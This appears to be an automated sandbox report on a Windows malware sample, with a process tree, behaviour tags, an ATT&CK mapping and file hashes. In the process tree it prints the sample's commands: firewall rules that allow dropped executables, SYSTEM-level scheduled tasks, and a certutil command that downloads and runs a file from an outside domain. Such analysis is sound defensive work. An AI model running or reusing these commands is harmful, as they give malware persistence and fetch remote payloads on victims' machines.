daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 93 PID 4996 wrote to memory of 1500 4996 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 93 PID 4996 wrote to memory of 1500 4996 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 93 PID 4996 wrote to memory of 1500 4996 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 93 PID 1500 wrote to memory of 3256 1500 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 94 PID 1500 wrote to memory of 3256 1500 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 94 PID 3256 wrote to memory of 2636 3256 cmd.exe 96 PID 3256 wrote to memory of 2636 3256 cmd.exe 96 PID 1500 wrote to memory of 1484 1500 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 97 PID 1500 wrote to memory of 1484 1500 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 97 PID 1484 wrote to memory of 2928 1484 cmd.exe 99 PID 1484 wrote to memory of 2928 1484 cmd.exe 99 PID 1500 wrote to memory of 4568 1500 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 101 PID 1500 wrote to memory of 4568 1500 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 101 PID 1500 wrote to memory of 4568 1500 daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe 101 PID 4568 wrote to memory of 4912 4568 csrss.exe 102 PID 4568 wrote to memory of 4912 4568 csrss.exe 102 PID 4568 wrote to memory of 4912 4568 csrss.exe 102 PID 4568 wrote to memory of 4912 4568 csrss.exe 102 PID 4568 wrote to memory of 4912 4568 csrss.exe 102 PID 4568 wrote to memory of 4912 4568 csrss.exe 102 PID 4568 wrote to memory of 4912 4568 csrss.exe 102 PID 4568 wrote to memory of 4912 4568 csrss.exe 102 PID 4568 wrote to memory of 4912 4568 csrss.exe 102 PID 4568 wrote to memory of 4912 4568 csrss.exe 102 PID 4912 wrote to memory of 3484 4912 csrss.exe 110 PID 4912 wrote to memory of 3484 4912 csrss.exe 110 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3580 -
C:\Users\Admin\AppData\Local\Temp\daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4044 -
C:\Users\Admin\AppData\Local\Temp\daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4996 -
C:\Users\Admin\AppData\Local\Temp\daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\daa28da2479af20fdc953d57b551ea4e_JaffaCakes118.exe"4⤵
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
PID:3256 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2636
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d7f31c348c1c\d7f31c348c1c\d7f31c348c1c.exe" enable=yes"5⤵
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d7f31c348c1c\d7f31c348c1c\d7f31c348c1c.exe" enable=yes6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2928
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4568 -
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""6⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4912 -
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F7⤵
- Scheduled Task/Job: Scheduled Task
PID:4100
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F7⤵
- Scheduled Task/Job: Scheduled Task
PID:4504
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"7⤵
- Executes dropped EXE
PID:2640
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v7⤵
- Modifies boot configuration data using bcdedit
PID:3484
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
3.9MB
MD5daa28da2479af20fdc953d57b551ea4e
SHA1a69a7e4d6e09d47da892fd7531ff7a27e7964600
SHA2566730b42b09eac8f620091f094dbc18163f2d870ffcde7b7e19b4117553bfb8d1
SHA512cfd5aefeb5e2cb78ad2dbada1fa28fdcdaae967ad9eeaaa1b7be1cd2146076b9db6b39ac49b2bd715372196ab88a986113cdab4bf9e2d954b9e106abca40ce2a